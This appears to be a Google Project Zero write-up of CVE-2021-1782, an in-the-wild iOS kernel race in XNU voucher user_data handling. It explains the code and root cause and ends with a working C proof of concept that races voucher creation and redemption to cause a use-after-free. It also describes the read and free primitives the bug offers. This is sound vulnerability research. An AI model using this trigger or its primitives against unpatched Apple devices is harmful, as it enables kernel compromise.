mach_voucher_attr_recipe_data_t recipe;
uint32_t payload;
};
struct udata_dword_recipe r = {0};
r.recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
r.recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
r.recipe.content_size = sizeof(uint32_t);
r.payload = 0x41414141;
---
This will end up with the following data structures in the kernel:
voucher_port {
ip_kobject = reference-counted pointer to the voucher
}
voucher {
iv_refs = 1;
iv_table[6] = reference-counted *index* into user_data controller's ivac_table
}
controller {
ivace_table[index] =
{
ivace_refs = 1;
ivace_made = 1;
ivace_value = pointer to user_data_value_element
}
}
user_data_value_element {
e_made = 1;
e_data[] = {0x41, 0x41, 0x41, 0x41}
}
---
Let's look at what happens when we drop the only send right to the voucher port and the voucher gets deallocated.
We'll skip analysis of the mach port part; essentially, once all the send rights to the mach port holding a reference to the voucher are deallocated iv_release will get called to drop its reference on the voucher. And if that was the last reference iv_release calls iv_dealloc and we'll pick up the code there:
void
iv_dealloc(ipc_voucher_t iv, boolean_t unhash)
---
iv_dealloc removes the voucher from the hash table, destroys the mach port associated with the voucher (if there was one) then releases a reference on each value index in the iv_table:
for (i = 0; i < iv->iv_table_size; i++) {
ivace_release(i, iv->iv_table[i]);
}
---
Recall that the index in the iv_table is the "key index", which is one less than the key, which is why i is being passed to ivace_release. The value in iv_table alone is meaningless without knowing under which index it was stored in the iv_table. Here's the start of ivace_release:
static void
ivace_release(
iv_index_t key_index,
iv_index_t value_index)
{
...
ivgt_lookup(key_index, FALSE, &ivam, &ivac);
ivac_lock(ivac);
assert(value_index < ivac->ivac_table_size);
ivace = &ivac->ivac_table[value_index];
assert(0 < ivace->ivace_refs);
/* cant release persistent values */
if (ivace->ivace_persist) {
ivac_unlock(ivac);
return;
}
if (0 < \--ivace->ivace_refs) {
ivac_unlock(ivac);
return;
}
---
First they grab references to the attribute manager and controller for the given key index (ivam and ivac), take the ivac lock then take calculate a pointer into the ivac's ivac_table to get a pointer to the ivac_entry corresponding to the value_index to be released.
If this entry is marked as persistent, then nothing happens, otherwise the ivace_refs field is decremented. If the reference count is still non-zero, they drop the ivac's lock and return. Otherwise, the reference count of this ivac_entry has gone to zero and they will continue on to "free" the ivac_entry. As noted before, this isn't going to free the ivac_entry to the zone allocator; the entry is just an entry in an array and in its free state its index is present in a freelist of empty indexes. The code continues thus:
key = iv_index_to_key(key_index);
assert(MACH_VOUCHER_ATTR_KEY_NONE != key);
/*
* if last return reply is still pending,
* let it handle this later return when
* the previous reply comes in.
*/
if (ivace->ivace_releasing) {
ivac_unlock(ivac);
return;
}
/* claim releasing */
ivace->ivace_releasing = TRUE;
---
iv_index_to_key goes back from the key_index to the key value (which in practice will be 1 greater than the key index.) Then the ivace_entry is marked as "releasing". The code continues:
value = ivace->ivace_value;
redrive:
assert(value == ivace->ivace_value);
assert(!ivace->ivace_free);
made = ivace->ivace_made;
ivac_unlock(ivac);
/* callout to manager's release_value */
kr = (ivam->ivam_release_value)(ivam, key, value, made);
/* recalculate entry address as table may have changed */
ivac_lock(ivac);
ivace = &ivac->ivac_table[value_index];
assert(value == ivace->ivace_value);
/*
* new made values raced with this return. If the
* manager OK'ed the prior release, we have to start
* the made numbering over again (pretend the race
* didn't happen). If the entry has zero refs again,
* re-drive the release.
*/
if (ivace->ivace_made != made) {
if (KERN_SUCCESS == kr) {
ivace->ivace_made -= made;
}
if (0 == ivace->ivace_refs) {
goto redrive;
}
ivace->ivace_releasing = FALSE;
ivac_unlock(ivac);
return;
} else {
---
Note that we enter this snippet with the ivac's lock held. The ivace->ivace_value and ivace->ivace_made values are read under that lock, then the ivac lock is dropped and the attribute managers release_value callback is called:
kr = (ivam->ivam_release_value)(ivam, key, value, made);
---
Here's the user_data ivam_release_value callback:
static kern_return_t
user_data_release_value(
ipc_voucher_attr_manager_t __assert_only manager,
mach_voucher_attr_key_t __assert_only key,
mach_voucher_attr_value_handle_t value,
mach_voucher_attr_value_reference_t sync)
{
user_data_element_t elem;
iv_index_t hash;
assert(&user_data_manager == manager);
USER_DATA_ASSERT_KEY(key);
elem = (user_data_element_t)value;
hash = elem->e_hash;
user_data_lock();
if (sync == elem->e_made) {
queue_remove(&user_data_bucket[hash], elem, user_data_element_t, e_hash_link);
user_data_unlock();
kfree(elem, sizeof(*elem) + elem->e_size);
return KERN_SUCCESS;
}
assert(sync < elem->e_made);
user_data_unlock();
return KERN_FAILURE;
}
---
Under the user_data lock (via user_data_lock()) the code checks whether the user_data_value_element's e_made field is equal to the sync value passed in. Looking back at the caller, sync is ivace->ivace_made. If and only if those values are equal does this method remove the user_data_value_element from the hashtable and free it (via kfree) before returning success. If sync isn't equal to e_made, this method returns KERN_FAILURE.
Having looked at the semantics of user_data_free_value let's look back at the callsite:
redrive:
assert(value == ivace->ivace_value);
assert(!ivace->ivace_free);
made = ivace->ivace_made;
ivac_unlock(ivac);
/* callout to manager's release_value */
kr = (ivam->ivam_release_value)(ivam, key, value, made);
/* recalculate entry address as table may have changed */
ivac_lock(ivac);
ivace = &ivac->ivac_table[value_index];
assert(value == ivace->ivace_value);
/*
* new made values raced with this return. If the
* manager OK'ed the prior release, we have to start
* the made numbering over again (pretend the race
* didn't happen). If the entry has zero refs again,
* re-drive the release.
*/
if (ivace->ivace_made != made) {
if (KERN_SUCCESS == kr) {
ivace->ivace_made -= made;
}
if (0 == ivace->ivace_refs) {
goto redrive;
}
ivace->ivace_releasing = FALSE;
ivac_unlock(ivac);
return;
} else {
---
They grab the ivac's lock again and recalculate a pointer to the ivace (because the table could have been reallocated while the ivac lock was dropped, and only the index into the table would be valid, not a pointer.)
Then things get really weird; if ivace->ivace_made isn't equal to made but user_data_release_value did return KERN_SUCCESS, then they subtract the old value of ivace_made from the current value of ivace_made, and if ivace_refs is 0, they use a goto statement to try to free the user_data_value_element again?
If that makes complete sense to you at first glance then give yourself a gold star! Because to me at first that logic was completely impenetrable. We will get to the bottom of it though.
We need to ask the question: under what circumstances will ivace_made and the user_data_value_element's e_made field ever be different? To answer this we need to look back at ipc_voucher_replace_value where the user_data_value_element and ivace are actually allocated:
kr = (ivam->ivam_get_value)(
ivam, key, command,
previous_vals, previous_vals_count,
content, content_size,
&new_value, &new_flag, &new_value_voucher);
if (KERN_SUCCESS != kr) {
ivac_release(ivac);
return kr;
}
... /* WINDOW */
val_index = ivace_reference_by_value(ivac, new_value, new_flag);
---
We already looked at this code; if you can't remember what ivam_get_value or ivace_reference_by_value are meant to do, I'd suggest going back and looking at those sections again.
Firstly, ipc_voucher_replace_value itself isn't holding any locks. It does however hold a few references (e.g., on the ivac and ivam.)
user_data_get_value (the value of ivam->ivam_get_value) only takes the user_data lock (and not in all paths; we'll get to that) and ivace_reference_by_value, which increments ivace->ivace_made does that under the ivac lock.
e_made should therefore always get incremented before any corresponding ivace's ivace_made field. And there is a small window (marked as WINDOW above) where e_made will be larger than the ivace_made field of the ivace which will end up with a pointer to the user_data_value_element. If, in exactly that window shown above, another thread grabs the ivac's lock and drops the last reference (ivace_refs) on the ivace which currently points to that user_data_value_element then we'll encounter one of the more complex situations outlined above where, in ivace_release ivace_made is not equal to the user_data_value_element's e_made field. The reason that there is special treatment of that case is that it's indicating that there is a live pointer to the user_data_value_element which isn't yet accounted for by the ivace, and therefore it's not valid to free the user_data_value_element.
Another way to view this is that it's a hack around not holding a lock across that window shown above.
With this insight we can start to unravel the "redrive" logic:
if (ivace->ivace_made != made) {
if (KERN_SUCCESS == kr) {
ivace->ivace_made -= made;
}
if (0 == ivace->ivace_refs) {
goto redrive;
}
ivace->ivace_releasing = FALSE;
ivac_unlock(ivac);
return;
} else {
/*
* If the manager returned FAILURE, someone took a
* reference on the value but have not updated the ivace,
* release the lock and return since thread who got
* the new reference will update the ivace and will have
* non-zero reference on the value.
*/
if (KERN_SUCCESS != kr) {
ivace->ivace_releasing = FALSE;
ivac_unlock(ivac);
return;
}
}
---
Let's take the first case:
made is the value of ivace->ivace_made before the ivac's lock was dropped and re-acquired. If those are different, it indicates that a race did occur and another thread (or threads) revived this ivace (since even though the refs has gone to zero it hasn't yet been removed by this thread from the ivac's hash table, and even though it's been marked as being released by setting ivace_releasing to TRUE, that doesn't prevent another reference being handed out on a racing thread.)
There are then two distinct sub-cases:
1) (ivace->ivace_made != made) and (KERN_SUCCESS == kr)
We can now parse the meaning of this: this ivace was revived but that occurred after the user_data_value_element was freed on this thread. The racing thread then allocated a *new* value which happened to be exactly the same as the ivace_value this ivace has, hence the other thread getting a reference on this ivace before this thread was able to remove it from the ivac's hash table. Note that for the user_data case the ivace_value is a pointer (making this particular case even more unlikely, but not impossible) but it isn't going to always be the case that the value is a pointer; at the ivac layer the ivace_value is actually a 64-bit handle. The user_data attr chooses to store a pointer there.
So what's happened in this case is that another thread has looked up an ivace for a new ivace_value which happens to collide (due to having a matching pointer, but potentially different buffer contents) with the value that this thread had. I don't think this actually has security implications; but it does take a while to get your head around.
If this is the case then we've ended up with a pointer to a revived ivace which now, despite having a matching ivace_value, is never-the-less semantically different from the ivace we had when this thread entered this function. The connection between our thread's idea of ivace_made and the ivace_value's e_made has been severed; and we need to remove our thread's contribution to that; hence:
if (ivace->ivace_made != made) {
if (KERN_SUCCESS == kr) {
ivace->ivace_made -= made;
}
---
2) (ivace->ivace_made != made) and (0 == ivace->ivace_refs)
In this case another thread (or threads) has raced, revived this ivace and then deallocated all their references. Since this thread set ivace_releasing to TRUE the racing thread, after decrementing ivace_refs back to zero encountered this:
if (ivace->ivace_releasing) {
ivac_unlock(ivac);
return;
}
---
and returned early from ivace_release, despite having dropped ivace_refs to zero, and it's now this thread's responsibility to continue freeing this ivace:
if (0 == ivace->ivace_refs) {
goto redrive;
}
---
You can see the location of the redrive label in the earlier snippets; it captures a new value from ivace_made before calling out to the attr manager again to try to free the ivace_value.
If we don't goto redrive then this ivace has been revived and is still alive, therefore all that needs to be done is set ivace_releasing to FALSE and return.
The conditions under which the other branch is taken is nicely documented in a comment. This is the case when ivace_made is equal to made, yet ivam_release_value didn't return success (so the ivace_value wasn't freed.)
/*
* If the manager returned FAILURE, someone took a
* reference on the value but have not updated the ivace,
* release the lock and return since thread who got
* the new reference will update the ivace and will have
* non-zero reference on the value.
*/
---
In this case, the code again just sets ivace_releasing to FALSE and continues.
Put another way, this comment explaining is exactly what happens when the racing thread was exactly in the region marked WINDOW up above, which is after that thread had incremented e_made on the same user_data_value_element which this ivace has a pointer to in its ivace_value field, but before that thread had looked up this ivace and taken a reference. That's exactly the window another thread needs to hit where it's not correct for this thread to free its user_data_value_element, despite our ivace_refs being 0.
## The bug
Hopefully the significance of the user_data_value_element e_made field is now clear. It's not exactly a reference count; in fact it only exists as a kind of band-aid to work around what should be in practice a very rare race condition. But, if its value was wrong, bad things could happen if you tried :)
e_made is only modified in two places: Firstly, in user_data_dedup when a matching user_data_value_element is found in the user_data_bucket hash table:
/* ... we found a match... */
elem->e_made++;
user_data_unlock();
---
The only other place is in user_data_get_value when handling the MACH_VOUCHER_ATTR_REDEEM command during recipe parsing:
switch (command) {
case MACH_VOUCHER_ATTR_REDEEM:
/* redeem of previous values is the value */
if (0 < prev_value_count) {
elem = (user_data_element_t)prev_values[0];
assert(0 < elem->e_made);
elem->e_made++;
*out_value = prev_values[0];
return KERN_SUCCESS;
}
/* redeem of default is default */
*out_value = 0;
return KERN_SUCCESS;
---
As mentioned before, it's up to the attr managers themselves to define the semantics of redeeming a voucher; the entirety of the user_data semantics for voucher redemption are shown above. It simply returns the previous value, with e_made incremented by 1. Recall that *prev_value is either the value which was previously in this under-construction voucher for this key, or the value in the prev_voucher referenced by this sub-recipe.
If you can't spot the bug above in the user_data MACH_VOUCHER_ATTR_REDEEM code right away that's because it's a bug of omission; it's what's not there that causes the vulnerability, namely that the increment in the MACH_VOUCHER_ATTR_REDEEM case isn't protected by the user_data lock! This increment isn't atomic.
That means that if the MACH_VOUCHER_ATTR_REDEEM code executes in parallel with either itself on another thread or the elem->e_made++ increment in user_data_dedup on another thread, the two threads can both see the same initial value for e_made, both add one then both write the same value back; incrementing it by one when it should have been incremented by two.
But remember, e_made isn't a reference count! So actually making something bad happen isn't as simple as just getting the two threads to align such that their increments overlap so that e_made is wrong.
Let's think back to what the purpose of e_made is: it exists solely to ensure that if thread A drops the last ref on an ivace whilst thread B is exactly in the race window shown below, that thread doesn't free new_value on thread B's stack:
kr = (ivam->ivam_get_value)(
ivam, key, command,
previous_vals, previous_vals_count,
content, content_size,
&new_value, &new_flag, &new_value_voucher);
if (KERN_SUCCESS != kr) {
ivac_release(ivac);
return kr;
}
... /* WINDOW */
val_index = ivace_reference_by_value(ivac, new_value, new_flag);
---
And the reason the user_data_value_element doesn't get freed by thread A is because in that window, e_made will always be larger than the ivace->ivace_made value for any ivace which has a pointer to that user_data_value_element. e_made is larger because the e_made increment always happens before any ivace_made increment.
This is why the absolute value of e_made isn't important; all that matters is whether or not it's equal to ivace_made. And the only purpose of that is to determine whether there's another thread in that window shown above.
So how can we make something bad happen? Well, let's assume that we successfully trigger the e_made non-atomic increment and end up with a value of e_made which is one less than ivace_made. What does this do to the race window detection logic? It completely flips it! If, in the steady-state e_made is one less than ivace_made then we race two threads; thread A which is dropping the last ivace_ref and thread B which is attempting to revive it and thread B is in the WINDOW shown above then e_made gets incremented before ivace_made, but since e_made started out one lower than ivace_made (due to the successful earlier trigger of the non-atomic increment) then e_made is now exactly equal to ivace_made; the exact condition which indicates we cannot possibly be in the WINDOW shown above, and it's safe to free the user_data_value_element which is in fact live on thread B's stack!
Thread B then ends up with a revived ivace with a dangling ivace_value.
This gives an attacker two primitives that together would be more than sufficient to successfully exploit this bug: the mach_voucher_extract_attr_content voucher port MIG method would allow reading memory through the dangling ivace_value pointer, and deallocating the voucher port would allow a controlled extra kfree of the dangling pointer.
With the insight that you need to trigger these two race windows (the non-atomic increment to make e_made one too low, then the last-ref vs revive race) it's trivial to write a PoC to demonstrate the issue; simply allocate and deallocate voucher ports on two threads, with at least one of them using a MACH_VOUCHER_ATTR_REDEEM sub-recipe command. Pretty quickly you'll hit the two race conditions correctly.
## Conclusions
It's interesting to think about how this vulnerability might have been found. Certainly somebody did find it, and trying to figure out how they might have done that can help us improve our vulnerability research techniques. I'll offer four possibilities:
1) Just read the code
Possible, but this vulnerability is quite deep in the code. This would have been a marathon auditing effort to find and determine that it was exploitable. On the other hand this attack surface is reachable from every sandbox making vulnerabilities here very valuable and perhaps worth the investment.
2) Static lock-analysis tooling
This is something which we've discussed within Project Zero over many afternoon coffee chats: could we build a tool to generate a fuzzy mapping between locks and objects which are probably meant to be protected by those locks, and then list any discrepancies where the lock isn't held? In this particular case e_made is only modified in two places; one time the user_data_lock is held and the other time it isn't. Perhaps tooling isn't even required and this could just be a technique used to help guide auditing towards possible race-condition vulnerabilities.
3) Dynamic lock-analysis tooling
Perhaps tools like [ThreadSanitizer](<https://clang.llvm.org/docs/ThreadSanitizer.html>) could be used to dynamically record a mapping between locks and accessed objects/object fields. Such a tool could plausibly have flagged this race condition under normal system use. The false positive rate of such a tool might be unusably high however.
4) Race-condition fuzzer
It's not inconceivable that a coverage-guided fuzzer could have generated the proof-of-concept shown below, though it would specifically have to have been built to execute parallel testcases.
As to what technique was actually used, we don't know. As defenders we need to do a better job making sure that we invest even more effort in all of these possibilities and more.
## PoC:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/mach_voucher.h>
#include <atm/atm_types.h>
#include <voucher/ipc_pthread_priority_types.h>
// @i41nbeer
static mach_port_t
create_voucher_from_recipe(void* recipe, size_t recipe_size) {
mach_port_t voucher = MACH_PORT_NULL;
kern_return_t kr = host_create_mach_voucher(
mach_host_self(),
(mach_voucher_attr_raw_recipe_array_t)recipe,
recipe_size,
&voucher);
if (kr != KERN_SUCCESS) {
printf("failed to create voucher from recipe\n");
}
return voucher;
}
static void*
create_single_variable_userdata_voucher_recipe(void* buf, size_t len, size_t* template_size_out) {
size_t recipe_size = (sizeof(mach_voucher_attr_recipe_data_t)) + len;
mach_voucher_attr_recipe_data_t* recipe = calloc(recipe_size, 1);
recipe->key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
recipe->command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
recipe->content_size = len;
uint8_t* content_buf = ((uint8_t*)recipe)+sizeof(mach_voucher_attr_recipe_data_t);
memcpy(content_buf, buf, len);
*template_size_out = recipe_size;
return recipe;
}
static void*
create_single_variable_userdata_then_redeem_voucher_recipe(void* buf, size_t len, size_t* template_size_out) {
size_t recipe_size = (2*sizeof(mach_voucher_attr_recipe_data_t)) + len;
mach_voucher_attr_recipe_data_t* recipe = calloc(recipe_size, 1);
recipe->key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
recipe->command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
recipe->content_size = len;
uint8_t* content_buf = ((uint8_t*)recipe)+sizeof(mach_voucher_attr_recipe_data_t);
memcpy(content_buf, buf, len);
mach_voucher_attr_recipe_data_t* recipe2 = (mach_voucher_attr_recipe_data_t*)(content_buf + len);
recipe2->key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
recipe2->command = MACH_VOUCHER_ATTR_REDEEM;
*template_size_out = recipe_size;
return recipe;
}
struct recipe_template_meta {
void* recipe;
size_t recipe_size;
};
struct recipe_template_meta single_recipe_template = {};
struct recipe_template_meta redeem_recipe_template = {};
int iter_limit = 100000;
void* s3threadfunc(void* arg) {
struct recipe_template_meta* template = (struct recipe_template_meta*)arg;
for (int i = 0; i < iter_limit; i++) {
mach_port_t voucher_port = create_voucher_from_recipe(template->recipe, template->recipe_size);
mach_port_deallocate(mach_task_self(), voucher_port);
}
return NULL;
}
void sploit_3() {
while(1) {
// choose a userdata size:
uint32_t userdata_size = (arc4random() % 2040)+8;
userdata_size += 7;
userdata_size &= (~7);
printf("userdata size: 0x%x\n", userdata_size);
uint8_t* userdata_buffer = calloc(userdata_size, 1);
((uint32_t*)userdata_buffer)[0] = arc4random();
((uint32_t*)userdata_buffer)[1] = arc4random();
// build the templates:
single_recipe_template.recipe = create_single_variable_userdata_voucher_recipe(userdata_buffer, userdata_size, &single_recipe_template.recipe_size);
redeem_recipe_template.recipe = create_single_variable_userdata_then_redeem_voucher_recipe(userdata_buffer, userdata_size, &redeem_recipe_template.recipe_size);
free(userdata_buffer);
pthread_t single_recipe_thread;
pthread_create(&single_recipe_thread, NULL, s3threadfunc, (void*)&single_recipe_template);
pthread_t redeem_recipe_thread;
pthread_create(&redeem_recipe_thread, NULL, s3threadfunc, (void*)&redeem_recipe_template);
pthread_join(single_recipe_thread, NULL);
pthread_join(redeem_recipe_thread, NULL);
free(single_recipe_template.recipe);
free(redeem_recipe_template.recipe);
}
}
int main(int argc, char** argv) {
sploit_3();
}
---
{"id": "GOOGLEPROJECTZERO:9451D3A58B2FB50EEDDD4A74CE240CDE", "vendorId": null, "type": "googleprojectzero", "bulletinFamily": "info", "title": "\nCVE-2021-1782, an iOS in-the-wild vulnerability in vouchers\n", "description": "Posted by Ian Beer, Google Project Zero\n\nThis blog post is my analysis of a vulnerability exploited in the wild and patched in early 2021. Like the [writeup published last week](<https://googleprojectzero.blogspot.com/2022/04/cve-2021-30737-xerubs-2021-ios-asn1.html>) looking at an ASN.1 parser bug, this blog post is based on the notes I took as I was analyzing the patch and trying to understand the XNU vouchers subsystem. I hope that this writeup serves as the missing documentation for how some of the internals of the voucher subsystem works and its quirks which lead to this vulnerability.\n\nCVE-2021-1782 was fixed in iOS 14.4, as noted by [@s1guza on twitter](<https://twitter.com/s1guza/status/1354575808547999744>):\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTx_FjnSHTtPtnk2F1K8-AYcTnVrIBNV8PNJQgZCOhfoIvU6hD7teqA3Jmb8T8KtIpnIYKuUqa28P-pt-yM2zUsWppkcmdx18pAP8r0XTQH4JHAhpNZkC2uALpz_Pn5_OXK3mXlblNG1i6TIEtLsksgez8GlLTi2zuxP0haGXzaU1XGEj2RQeNjOto/s1182/image1%20%283%29%281%29.png>)\n\nThis vulnerability was fixed on January 26th 2021, and Apple updated the iOS 14.4 release notes on May 28th 2021 to indicate that the issue may have been actively exploited:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz_bD89bznHVJLkW_Kbwy-1JEoHaUyMfeaqDbpVjRTQ366r8ywGgSGps2aPyFa05wBuKWqAi2hJmm76dnbcgoV4YCFug4UWu3OhkHPgKjg6coamg35AId8VsOw5gkIHldyvefgRSX0klbhJ275wnwri6dzSTb_OZwwz2LeUeVjmHIAPsyirypsYonn/s1660/image2%20%282%29%281%29.png>)\n\n## Vouchers\n\nWhat exactly is a voucher?\n\nThe kernel code has a concise description:\n\nVouchers are a reference counted immutable (once-created) set of indexes to particular resource manager attribute values (which themselves are reference counted).\n\nThat definition is technically correct, though perhaps not all that helpful by itself.\n\nTo actually understand the root cause and exploitability of this vulnerability is going to require covering a lot of the voucher codebase. This part of XNU is pretty obscure, and pretty complicated.\n\nA voucher is a reference-counted table of keys and values. Pointers to all created vouchers are stored in the global ivht_bucket hash table.\n\nFor a particular set of keys and values there should only be one voucher object. During the creation of a voucher there is a deduplication stage where the new voucher is compared against all existing vouchers in the hashtable to ensure they remain unique, returning a reference to the existing voucher if a duplicate has been found.\n\nHere's the structure of a voucher:\n\nstruct ipc_voucher {\n\niv_index_t iv_hash; /* checksum hash */\n\niv_index_t iv_sum; /* checksum of values */\n\nos_refcnt_t iv_refs; /* reference count */\n\niv_index_t iv_table_size; /* size of the voucher table */\n\niv_index_t iv_inline_table[IV_ENTRIES_INLINE];\n\niv_entry_t iv_table; /* table of voucher attr entries */\n\nipc_port_t iv_port; /* port representing the voucher */\n\nqueue_chain_t iv_hash_link; /* link on hash chain */\n\n};\n\n#define IV_ENTRIES_INLINE MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN \n \n--- \n \nThe voucher codebase is written in a very generic, extensible way, even though its actual use and supported feature set is quite minimal.\n\n## Keys\n\nKeys in vouchers are not arbitrary. Keys are indexes into a voucher's iv_table; a value's position in the iv_table table determines what \"key\" it was stored under. Whilst the vouchers codebase supports the runtime addition of new key types this feature isn't used and there are just a small number of fixed, well-known keys:\n\n#define MACH_VOUCHER_ATTR_KEY_ALL ((mach_voucher_attr_key_t)~0)\n\n#define MACH_VOUCHER_ATTR_KEY_NONE ((mach_voucher_attr_key_t)0)\n\n/* other well-known-keys will be added here */\n\n#define MACH_VOUCHER_ATTR_KEY_ATM ((mach_voucher_attr_key_t)1)\n\n#define MACH_VOUCHER_ATTR_KEY_IMPORTANCE ((mach_voucher_attr_key_t)2)\n\n#define MACH_VOUCHER_ATTR_KEY_BANK ((mach_voucher_attr_key_t)3)\n\n#define MACH_VOUCHER_ATTR_KEY_PTHPRIORITY ((mach_voucher_attr_key_t)4)\n\n#define MACH_VOUCHER_ATTR_KEY_USER_DATA ((mach_voucher_attr_key_t)7)\n\n#define MACH_VOUCHER_ATTR_KEY_TEST ((mach_voucher_attr_key_t)8)\n\n#define MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN MACH_VOUCHER_ATTR_KEY_TEST \n \n--- \n \nThe iv_inline_table in an ipc_voucher has 8 entries. But of those, only four are actually supported and have any associated functionality. The ATM voucher attributes are deprecated and the code supporting them is gone so only IMPORTANCE (2), BANK (3), PTHPRIORITY (4) and USER_DATA (7) are valid keys. There's some confusion (perhaps on my part) about when exactly you should use the term key and when attribute; I'll use them interchangeably to refer to these key values and the corresponding \"types\" of values which they manage. More on that later.\n\n## Values\n\nEach entry in a voucher iv_table is an iv_index_t:\n\ntypedef natural_t iv_index_t; \n \n--- \n \nEach value is again an index; this time into a per-key cache of values, abstracted as a \"Voucher Attribute Cache Control Object\" represented by this structure:\n\nstruct ipc_voucher_attr_control {\n\nos_refcnt_t ivac_refs;\n\nboolean_t ivac_is_growing; /* is the table being grown */\n\nivac_entry_t ivac_table; /* table of voucher attr value entries */\n\niv_index_t ivac_table_size; /* size of the attr value table */\n\niv_index_t ivac_init_table_size; /* size of the attr value table */\n\niv_index_t ivac_freelist; /* index of the first free element */\n\nipc_port_t ivac_port; /* port for accessing the cache control */\n\nlck_spin_t ivac_lock_data;\n\niv_index_t ivac_key_index; /* key index for this value */\n\n}; \n \n--- \n \nThese are accessed indirectly via another global table:\n\nstatic ipc_voucher_global_table_element iv_global_table[MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN]; \n \n--- \n \n(Again, the comments in the code indicate that in the future that this table may grow in size and allow attributes to be managed in userspace, but for now it's just a fixed size array.)\n\nEach element in that table has this structure:\n\ntypedef struct ipc_voucher_global_table_element {\n\nipc_voucher_attr_manager_t ivgte_manager;\n\nipc_voucher_attr_control_t ivgte_control;\n\nmach_voucher_attr_key_t ivgte_key;\n\n} ipc_voucher_global_table_element; \n \n--- \n \nBoth the iv_global_table and each voucher's iv_table are indexed by (key-1), not key, so the userdata entry is [6], not [7], even though the array still has 8 entries.\n\nThe ipc_voucher_attr_control_t provides an abstract interface for managing \"values\" and the ipc_voucher_attr_manager_t provides the \"type-specific\" logic to implement the semantics of each type (here by type I mean \"key\" or \"attr\" type.) Let's look more concretely at what that means. Here's the definition of ipc_voucher_attr_manager_t:\n\nstruct ipc_voucher_attr_manager {\n\nipc_voucher_attr_manager_release_value_t ivam_release_value;\n\nipc_voucher_attr_manager_get_value_t ivam_get_value;\n\nipc_voucher_attr_manager_extract_content_t ivam_extract_content;\n\nipc_voucher_attr_manager_command_t ivam_command;\n\nipc_voucher_attr_manager_release_t ivam_release;\n\nipc_voucher_attr_manager_flags ivam_flags;\n\n}; \n \n--- \n \nivam_flags is an int containing some flags; the other five fields are function pointers which define the semantics of the particular attr type. Here's the ipc_voucher_attr_manager structure for the user_data type:\n\nconst struct ipc_voucher_attr_manager user_data_manager = {\n\n.ivam_release_value = user_data_release_value,\n\n.ivam_get_value = user_data_get_value,\n\n.ivam_extract_content = user_data_extract_content,\n\n.ivam_command = user_data_command,\n\n.ivam_release = user_data_release,\n\n.ivam_flags = IVAM_FLAGS_NONE,\n\n}; \n \n--- \n \nThose five function pointers are the only interface from the generic voucher code into the type-specific code. The interface may seem simple but there are some tricky subtleties in there; we'll get to that later!\n\nLet's go back to the generic ipc_voucher_attr_control structure which maintains the \"values\" for each key in a type-agnostic way. The most important field is ivac_entry_t ivac_table, which is an array of ivac_entry_s's. It's an index into this table which is stored in each voucher's iv_table.\n\nHere's the structure of each entry in that table:\n\nstruct ivac_entry_s {\n\niv_value_handle_t ivace_value;\n\niv_value_refs_t ivace_layered:1, /* layered effective entry */\n\nivace_releasing:1, /* release in progress */\n\nivace_free:1, /* on freelist */\n\nivace_persist:1, /* Persist the entry, don't\n\ncount made refs */\n\nivace_refs:28; /* reference count */\n\nunion {\n\niv_value_refs_t ivaceu_made; /* made count (non-layered) */\n\niv_index_t ivaceu_layer; /* next effective layer\n\n(layered) */\n\n} ivace_u;\n\niv_index_t ivace_next; /* hash or freelist */\n\niv_index_t ivace_index; /* hash head (independent) */\n\n}; \n \n--- \n \nivace_refs is a reference count for this table index. Note that this entry is inline in an array; so this reference count going to zero doesn't cause the ivac_entry_s to be free'd back to a kernel allocator (like the zone allocator for example.) Instead, it moves this table index onto a freelist of empty entries. The table can grow but never shrink.\n\nTable entries which aren't free store a type-specific \"handle\" in ivace_value. Here's the typedef chain for that type:\n\niv_value_handle_t ivace_value\n\ntypedef mach_voucher_attr_value_handle_t iv_value_handle_t;\n\ntypedef uint64_t mach_voucher_attr_value_handle_t; \n \n--- \n \nThe handle is a uint64_t but in reality the attrs can (and do) store pointers there, hidden behind casts.\n\nA guarantee made by the attr_control is that there will only ever be one (live) ivac_entry_s for a particular ivace_value. This means that each time a new ivace_value needs an ivac_entry the attr_control's ivac_table needs to be searched to see if a matching value is already present. To speed this up in-use ivac_entries are linked together in hash buckets so that a (hopefully significantly) shorter linked-list of entries can be searched rather than a linear scan of the whole table. (Note that it's not a linked-list of pointers; each link in the chain is an index into the table.)\n\n## Userdata attrs\n\nuser_data is one of the four types of supported, implemented voucher attr types. It's only purpose is to manage buffers of arbitrary, user controlled data. Since the attr_control performs deduping only on the ivace_value (which is a pointer) the userdata attr manager is responsible for ensuring that userdata values which have identical buffer values (matching length and bytes) have identical pointers.\n\nTo do this it maintains a hash table of user_data_value_element structures, which wrap a variable-sized buffer of bytes:\n\nstruct user_data_value_element {\n\nmach_voucher_attr_value_reference_t e_made;\n\nmach_voucher_attr_content_size_t e_size;\n\niv_index_t e_sum;\n\niv_index_t e_hash;\n\nqueue_chain_t e_hash_link;\n\nuint8_t e_data[];\n\n}; \n \n--- \n \nEach inline e_data buffer can be up to 16KB. e_hash_link stores the hash-table bucket list pointer.\n\ne_made is not a simple reference count. Looking through the code you'll notice that there are no places where it's ever decremented. Since there should (nearly) always be a 1:1 mapping between an ivace_entry and a user_data_value_element this structure shouldn't need to be reference counted. There is however one very fiddly race condition (which isn't the race condition which causes the vulnerability!) which necessitates the e_made field. This race condition is sort-of documented and we'll get there eventually...\n\n## Recipes\n\nThe host_create_mach_voucher host port MIG ([Mach Interface Generator](<https://www.nextop.de/NeXTstep_3.3_Developer_Documentation/OperatingSystem/Part1_Mach/02_Messages/Messages.htmld/index.html>)) method is the userspace interface for creating vouchers:\n\nkern_return_t\n\nhost_create_mach_voucher(mach_port_name_t host,\n\nmach_voucher_attr_raw_recipe_array_t recipes,\n\nmach_voucher_attr_recipe_size_t recipesCnt,\n\nmach_port_name_t *voucher); \n \n--- \n \nrecipes points to a buffer filled with a sequence of packed variable-size mach_voucher_attr_recipe_data structures:\n\ntypedef struct 